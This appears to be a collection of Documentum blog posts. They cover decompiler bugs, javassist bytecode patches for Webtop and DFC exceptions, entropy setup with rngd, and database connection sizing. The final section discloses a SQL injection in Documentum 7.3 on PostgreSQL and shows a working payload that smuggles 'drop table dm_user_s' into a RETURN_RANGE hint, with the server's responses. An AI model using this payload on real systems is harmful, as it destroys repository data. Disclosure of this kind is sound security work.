javassist

Six months ago Marian Caikovski have shared his experience with java decompilers and advertised CFR decompiler: Decompiling jars obfuscated with AspectJ (e.g. D2FS4DCTM-WEB-4.5.0.jar or dfc.jar) – in free clicks from CFR decompiler page (FAQ -> Procyon / Java Decompiler -> Konloch/bytecode-viewer) you may find another cool project indented to provide universal GUI for java decompilers – Konloch/bytecode-viewer:

Well, why is this blogpost named “javassist”? The problem is I do not trust decompilers because some of them produce completely wrong results, for example, I have noticed that a lot of people do like jd-gui decompiler, because it has cool GUI, but try to decompile following code in jd-gui:

public final class Test { 
    public static void main(String[] argv) throws Exception {
        int i = 0;
        while (++i > 0) {
            try {
                if (i < 10) {
                    throw new Exception("xxx");
                }
                System.out.print("xxx");
                break;
            } catch (Exception e) {
                if (!(i < 10)) {
                    throw e;
                }
            }
        }
    }
}

and you will get something like:

public final class Test
{
  public static void main(String[] paramArrayOfString)
    throws Exception
  {
    int i = 0;
    while (true) { i++; if (i <= 0) break;
      try {
        if (i < 10) {
          throw new Exception("xxx");
        }
        System.out.print("xxx");
      }
      catch (Exception localException) {
        if (i >= 10)
          throw localException;
      }
    }
  }
}

which is completely wrong because decompiled code contains infinite loop while original one does not 😦 Moreover, in general, if we want to changefix the behaviour of buggy class we do not need to reconstruct the original source code of the whole class – in the worst case we just need to reconstruct the source code of buggy method, and in the most cases we do not need to reconstruct source code at all, and javassist helps a lot there, let me provide some examples.

When displaying objects in a grid Webtop likes to throw annoying exceptions like:

at com.documentum.fc.client.impl.docbase.DocbaseExceptionMapper.newException(DocbaseExceptionMapper.java:49)
 at com.documentum.fc.client.impl.connection.docbase.MessageEntry.getException(MessageEntry.java:39)
 at com.documentum.fc.client.impl.connection.docbase.DocbaseMessageManager.getException(DocbaseMessageManager.java:137)
 at com.documentum.fc.client.impl.connection.docbase.netwise.NetwiseDocbaseRpcClient.checkForMessages(NetwiseDocbaseRpcClient.java:310)
 at com.documentum.fc.client.impl.connection.docbase.netwise.NetwiseDocbaseRpcClient.applyForObject(NetwiseDocbaseRpcClient.java:653)
 at com.documentum.fc.client.impl.connection.docbase.DocbaseConnection$8.evaluate(DocbaseConnection.java:1370)
 at com.documentum.fc.client.impl.connection.docbase.DocbaseConnection.evaluateRpc(DocbaseConnection.java:1129)
 at com.documentum.fc.client.impl.connection.docbase.DocbaseConnection.applyForObject(DocbaseConnection.java:1362)
 at com.documentum.fc.client.impl.docbase.DocbaseApi.parameterizedFetch(DocbaseApi.java:107)
 at com.documentum.fc.client.impl.objectmanager.PersistentDataManager.fetchFromServer(PersistentDataManager.java:201)
 at com.documentum.fc.client.impl.objectmanager.PersistentDataManager.getData(PersistentDataManager.java:92)
 at com.documentum.fc.client.impl.objectmanager.PersistentObjectManager.getObjectFromServer(PersistentObjectManager.java:355)
 at com.documentum.fc.client.impl.objectmanager.PersistentObjectManager.getObject(PersistentObjectManager.java:311)
 at com.documentum.fc.client.impl.session.Session.getObject(Session.java:946)
 at com.documentum.fc.client.impl.session.SessionHandle.getObject(SessionHandle.java:652)
 at com.documentum.webcomponent.library.actions.ExportAction.queryExecute(Unknown Source)
 at com.documentum.web.formext.action.ActionService.queryExecute(Unknown Source)
 at com.documentum.web.formext.control.action.ActionMultiselect.getMultiselectActionExecuteTable(ActionMultiselect.java:615)
 at com.documentum.web.formext.control.action.ActionMultiselectTag.renderEnd(ActionMultiselectTag.java:185)
 at com.documentum.web.form.ControlTag.doEndTag(Unknown Source)

the root cause of such behaviour is following: webtop selects a list of objects to display and after that it calculates preconditions, the problem is when webtop calculates preconditions the list of objects is already not actual – somebody might delete some objects or change permissions and, hence, some preconditions throw an exception. How to fix this behaviour? I do think it is obvious (but not for talented team) that queryExecute method of ActionService class must return false instead of throwing exceptions, but if we try to decompile ActionService class we will find that it contains about 500 lines of code and, moreover, decompilers do not produce a “beautiful” code – it will take a couple of hours to reconstruct original source code of ActionService class, meanwhile the javassist solution looks extremely robust and simple:

public class ActionServiceFix {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        for (Class cls : new Class[] {Trace.class }) {
            pool.importPackage(cls.getPackage().getName());
        }

        CtClass cc = pool.get(ActionService.class.getName());
        for (Class cls : new Class[] {DfException.class }) {
            pool.importPackage(cls.getPackage().getName());
        }
        CtMethod queryExecute = cc.getDeclaredMethod("queryExecute",
                pool.get(new String[] {ActionService.ActionDef.class.getName(),
                    ArgumentList.class.getName(), Context.class.getName(),
                    Component.class.getName(), boolean.class.getName() }));
        queryExecute.addCatch("Trace.error(null,t);\n;return false;",
                pool.get(Throwable.class.getName()), "t");
        File f = File.createTempFile(ActionService.class.getSimpleName(), ".class");
        FileOutputStream os = new FileOutputStream(f);
        os.write(cc.toBytecode());
        os.close();
        System.out.println(f.getAbsolutePath());
    }

}

Another concurrency issue I already complained about: implementation of aspects in DFC causes DM_OBJ_MGR_E_UNABLE_TO_FETCH_CONSISTENT_OBJECT_SNAPSHOT errors:

public class DfcFix {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        for (Class cls : new Class[] {}) {
            pool.importPackage(cls.getPackage().getName());
        }

        String POM = PersistentObjectManager.class.getName().replace(".", "/")
                + ".class";
        URL resourceURL = DfcFix.class.getResource("/" + POM);
        JarURLConnection connection = (JarURLConnection) resourceURL
                .openConnection();
        URL jarURL = connection.getJarFileURL();
        String fileName = jarURL.getFile();
        ZipFile zipFile = new ZipFile(fileName);
        String out = fileName + ".patched";
        ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(out));
        for (Enumeration e = zipFile.entries(); e.hasMoreElements();) {
            ZipEntry entryIn = (ZipEntry) e.nextElement();
            if (entryIn.getName().equals(POM)) {
                zos.putNextEntry(new ZipEntry(POM));
                zos.write(getPOMFixRename(pool));
            } else {
                zos.putNextEntry(new ZipEntry(entryIn.getName()));
                InputStream is = zipFile.getInputStream(entryIn);
                byte[] buf = new byte[1024];
                int len;
                while ((len = is.read(buf)) > 0) {
                    zos.write(buf, 0, len);
                }
            }
            zos.closeEntry();
        }
        zos.close();
        System.out.println(out);
    }

    private static byte[] getPOMFixRename(ClassPool pool) throws Exception {
        CtClass cc = pool.get(PersistentObjectManager.class.getName());
        for (Class cls : new Class[] {DfException.class, DfExceptions.class, }) {
            pool.importPackage(cls.getPackage().getName());
        }

        CtMethod original = cc.getDeclaredMethod("getObject");
        CtMethod newMethod = CtNewMethod.make(AccessFlag.PUBLIC,
                original.getReturnType(), original.getName(),
                original.getParameterTypes(), original.getExceptionTypes(),
                null, original.getDeclaringClass());
        original.setName("doGetObject");
        original.setModifiers(AccessFlag.setPrivate(original.getModifiers()));
        StringBuilder body = new StringBuilder();
        body.append("{\n");
        body.append("DfException ex = null;\n");
        body.append("for (int i = 0; i < 10; i++) {\n");
        body.append("    try {\n");
        body.append("        return doGetObject($$);\n");
        body.append("    } catch (DfException e) {\n");
        body.append("        ex = e;\n");
        body.append("        if (DfExceptions.isFetchSoft(e)) {\n");
        body.append("            DfLogger.debug(this, \"Got soft exception \"\n");
        body.append("                    + \"on {0} iteration\", new Object[] {i + 1 }, e);\n");
        body.append("            continue;\n");
        body.append("        }\n");
        body.append("        throw ex;\n");
        body.append("    }\n");
        body.append("}\n");
        body.append("throw ex;\n");
        body.append("\n}");
        newMethod.setBody(body.toString());
        cc.addMethod(newMethod);
        return cc.toBytecode();

    }

}

100000 hours of engineering work

This blogppost looks foolish because I does not contain any useful information, however I was unable to miss a gem described below.

All we know that talented team have wasted more than 100000 hours of engineering work to create PostgreSQL build and finally it seems they have found a first customer who decided to install this marvel: DATEDIFF return wrong value in Content Server 7.3 + PostgreSQL 🙂

Beware of dbi services

Do you remember a guy, who accidentally discovered SQL injection in Content Server? I can’t understand why some people do such things, so I take it for granted that we can’t prevent such misbehaviour, however I wonder why these people come up with heart-piercing stories. Below are two another stories:

Documentum – Not able to install IndexAgent with xPlore 1.6 – everything is good except following command listing:

[xplore@full_text_server_01 ~]$ echo 'export DEVRANDOM=/dev/urandom' >> ~/.bash_profile
[root@full_text_server_01 ~]# yum -y install rng-tools.x86_64
Loaded plugins: product-id, search-disabled-repos, security, subscription-manager
Setting up Install Process
Resolving Dependencies
--> Running transaction check
...
Transaction Test Succeeded
Running Transaction
  Installing : rng-tools-5-2.el6_7.x86_64                                                                                                                                                                                     1/1
  Verifying  : rng-tools-5-2.el6_7.x86_64                                                                                                                                                                                     1/1
 
Installed:
  rng-tools.x86_64 0:5-2.el6_7
 
Complete!
[root@full_text_server_01 ~]# rpm -qf /etc/sysconfig/rngd
rng-tools-5-2.el6_7.x86_64
[root@full_text_server_01 ~]#
[root@full_text_server_01 ~]# sed -i 's,EXTRAOPTIONS=.*,EXTRAOPTIONS=\"-r /dev/urandom -o /dev/random -t 0.1\",' /etc/sysconfig/rngd
[root@full_text_server_01 ~]# cat /etc/sysconfig/rngd
# Add extra options here
EXTRAOPTIONS="-r /dev/urandom -o /dev/random -t 0.1"
[root@full_text_server_01 ~]#
[root@full_text_server_01 ~]# chkconfig --level 345 rngd on
[root@full_text_server_01 ~]# chkconfig --list | grep rngd
rngd            0:off   1:off   2:off   3:on    4:on    5:on    6:off
[root@full_text_server_01 ~]#
[root@full_text_server_01 ~]# service rngd start
Starting rngd:                                             [  OK  ]
[root@full_text_server_01 ~]#

which actually looks exactly the same as my recommendations for increasing entropy on Linux/VMWare, and the real gem is how blogpost author tried to protect himself – there are even four explanations why it looks extremely similar:

  • I would say the source is myself
  • At that time, I opened a SR# with the EMC Support
  • These commands haven’t been provided by EMC, they are part of our IQs since 2014/2015
  • Moreover how is that a proof? I mean all I did is a sed command to update the file /etc/sysconfig/rngd and the setup of the rngd service using chkconfig… There is no magic here, there is nothing secret…

Well, I would buy the last explanation if there were no following inconsistencies:

  • What was the reason to execute rpm -qf /etc/sysconfig/rngd if you already installed rng-tools? In my recommendations I used this command to show where /etc/sysconfig/rngd file came from
  • DEVRANDOM environment variable affects Content Server only, in java environment it does not make sense
  • The second blogpost, see below…

Documentum – Increase the number of concurrent_sessions – initially the solution was posted 4 years ago on ECN blog, moreover it is also published in EMC KB (note the publication date – it is not consistent with “A few months ago at one of our customer …” statement):

and in another EMC KB (wow! there is a mention of 1100):

Actually, as it was mentioned in my ECN blogpost – the DM_FD_SETSIZE “option” is “officially” available since 6.7SP1P19 and 6.7SP2P04 (and as well in 7.0, 7.1, 7.2 and 7.3, not officially this option is available since 6.7SP1P15), so, I wonder how it was possible that DBI guys were able to do following:

An EMC internal task (CS-40186) was opened to discuss this point and to discuss the possibility to increase this maximum number. Since the current default limit is set only in regards to the default OS value of 1024, if this value is increased to 4096 for example (which was our case since the beginning), then there is no real reason to be stuck at 1020 on Documentum side. The Engineering Team implemented a change in the binaries that allows changing the limit

Moreover, there is another inconsistency: until CS-40517 EMC was suggesting to launch multiple Content Server instances on the same host in order to overcome the limit on 1020 concurrent sessions per Content Server instance, so in case of blogpost author he was need to launch two Content Servers on each host and get an overall limit of 4080 concurrent sessions, but in my case I was need to launch about 10 Content Servers, and, because I was considering such configuration as unmanageable, I performed some research and filed a CR on November 2012.

Database connections

Let’s discuss another statement from performance guide (forget about the fact that the writer experiences difficulties with math (I do believe that 2x2x250 is 1000 but not 2000)):

Tune PROCESSES: As a rule of thumb, PROCESSES should be set to the double of the sum of maximum concurrent sessions of all content server instances. For example, if there are two instances each with concurrent_sessions set to 250, PROCESSES should be set to 2000 (2x2x250). It needs to specify the scope in the alter command when change the value.

Well, the question is: why does docbase session require two database connections? Actually, it is worth writing a continuation for “r_object_id. Type tag” blogpost and describe how Content Server (actually DFC) generates identifiers, but the common idea is following: when DFC creates new object (i.e. when we call IDfSession#newObject method) it sends NEXT_ID or NEXT_ID_LIST RPC command to Content Server:

API> apply,c,,NEXT_ID_LIST,TAG,I,8,HOW_MANY,I,10
...
q0
API> ?,c,q0
next_id         
----------------
08024be98005fe92
08024be98005fe93
08024be98005fe94
08024be98005fe95
08024be98005fe96
08024be98005fe97
08024be98005fe98
08024be98005fe99
08024be98005fe9a
08024be98005fe9b
(1 row affected)

and Content Server modifies data stored in dmi_sequence_s table. Now imagine that we are creating tons of objects in parallel and, moreover, we are taking advantage of using transactions, how do NEXT_ID/NEXT_ID_LIST commands work in this case? If CS modifies data in dmi_sequence_s table in transaction, corresponding rows become locked and another transaction unable to modify the same data, so, to prevent such concurrency issue when performing NEXT_ID/NEXT_ID_LIST commands Content Server creates new (temporary) database connection and never releases it:

API> ?,c,execute EXEC_SELECT_SQL with QUERY='SELECT COUNT(*) cnt 
     FROM v$session WHERE USERNAME=SYS_CONTEXT(''USERENV'',''SESSION_USER'')'
cnt                   
----------------------
                    14
(1 row affected)

API> apply,c,,NEXT_ID_LIST,TAG,I,8,HOW_MANY,I,1000
...
q0
API> ?,c,execute EXEC_SELECT_SQL with QUERY='SELECT COUNT(*) cnt 
     FROM v$session WHERE USERNAME=SYS_CONTEXT(''USERENV'',''SESSION_USER'')'
cnt                   
----------------------
                    15
(1 row affected)

you may observe the reference to this temporary database connection in output of SHOW_SESSIONS command (note the value of tempdb_session_ids, also note that, in general, tempdb_session_ids in SHOW_SESSIONS output displays wrong data):

USER ATTRIBUTES

  root_start                      : 5/10/2017 09:17:05
  root_pid                        : 2502
  shared_mem_id                   : 7667716
  semaphore_id                    : 327685
  session                      [0]: 01024be9800060d7
  db_session_id                [0]: 341
  typelockdb_session_id        [0]: -1
  tempdb_session_ids           [0]: 328
  pid                          [0]: 21067
  user_name                    [0]: dmadmin
  user_authentication          [0]: Trusted Client
  client_host                  [0]: docu72dev01
  client_lib_ver               [0]: 7.2.0030.0072
  client_locale                [0]: (Linux :(8201), Version: Linux), CharSet: UTF-8, Language: English_US, UTC Offset: 14400, Date Form
  start                        [0]: 5/10/2017 13:33:16
  last_used                    [0]: 5/10/2017 13:36:52
  session_status               [0]: Active
  shutdown_flag                [0]: none
  last_rpc                     [0]: EXEC, EXEC, NEXT_ID_LIST, EXEC, EXEC, TIME, FETCH_TYPE, GET_SERVER_CONFI, GET_ERRORS, AUTHENTICATE_USE, ENTRY_POINTS,
  current_rpc                  [0]: SHOW_SESSIONS
  last_completed_rpc           [0]: 5/10/2017 13:34:39
  transaction_status           [0]: Off
  dormancy_status              [0]: Active

So, in long term perspective (actually, both CS and DFC tries to pool “available” identifiers) every docbase session tends to have at least two associated database connections – that is a starting point for database capacity planning, but the question is whether it is an upper bound or not, i.e if we follow “best practices” and set the value of PROCESSES parameter to the double of the sum of maximum concurrent sessions of all content server instances will it prevent us from getting “ORA-00020: maximum number of processes (%s) exceeded” errors or not? And, unfortunately, the answer is: no, it won’t:

API> execquery,c,F,select * from dm_user
...
OK
API> execquery,c,F,select * from dm_user
...
OK
API> execquery,c,F,select * from dm_user
...
OK
API> execquery,c,F,select * from dm_user
...
OK
API> execquery,c,F,select * from dm_user
...
OK
API> apply,c,,SHOW_SESSIONS
...
q7
API> next,c,q7
...
OK
API> dump,c,q7
...
USER ATTRIBUTES

  root_start                      : 5/10/2017 09:17:05
  root_pid                        : 2502
  shared_mem_id                   : 7667716
  semaphore_id                    : 327685
  session                      [0]: 01024be9800060d7
  db_session_id                [0]: 341
  typelockdb_session_id        [0]: -1
  tempdb_session_ids           [0]: 328:74:352:281:270:141
  pid                          [0]: 21787
  user_name                    [0]: dmadmin
  user_authentication          [0]: Trusted Client
  client_host                  [0]: docu72dev01
  client_lib_ver               [0]: 7.2.0030.0072
  client_locale                [0]: (Linux :(8201), Version: Linux), CharSet: UTF-8, Language: English_US, UTC Offset: 14400, Date Form
  start                        [0]: 5/10/2017 13:45:30
  last_used                    [0]: 5/10/2017 13:45:37
  session_status               [0]: Active
  shutdown_flag                [0]: none
  last_rpc                     [0]: EXEC, EXEC, EXEC, EXEC, EXEC, GET_ERRORS, AUTHENTICATE_USE, ENTRY_POINTS, 
  current_rpc                  [0]: SHOW_SESSIONS
  last_completed_rpc           [0]: 5/10/2017 13:45:34
  transaction_status           [0]: Off
  dormancy_status              [0]: Active

Poor documentation or backdoor?

Four months ago I disclosed a vulnerability in Documentum 7.3/PostgreSQL, which allows attacker to execute arbitrary SQL statements, interesting thing here is vulnerability description is bit wrong, i.e. prerequisite “return_top_results_row_based config option is set to false” is not required:

Connected to Documentum Server running Release 7.3.0010.0013  Linux64.Postgres
Session id is s0
API> ?,c,select count(*) from dm_user ENABLE (RETURN_RANGE 1 10 '1;drop table dm_user_s;')
     [DM_QUERY_E_INVALID_POSITION]error:  
       "The ORDER BY position number 1;drop table dm_user_s;  
       is out of range of the number of items in the select list."


API> ?,c,select count(*) from dm_user ENABLE (OBJECT_BASED,RETURN_RANGE 1 10 '1;drop table dm_user_s;')
     [DM_QUERY_E_CURSOR_ERROR]error:  
       "A database error has occurred during the creation of a cursor 
       (' STATE=2BP01, CODE=7, MSG=ERROR: cannot drop table dm_user_s 
       because other objects depend on it; Error while executing the query')."

What is OBJECT_BASED hint?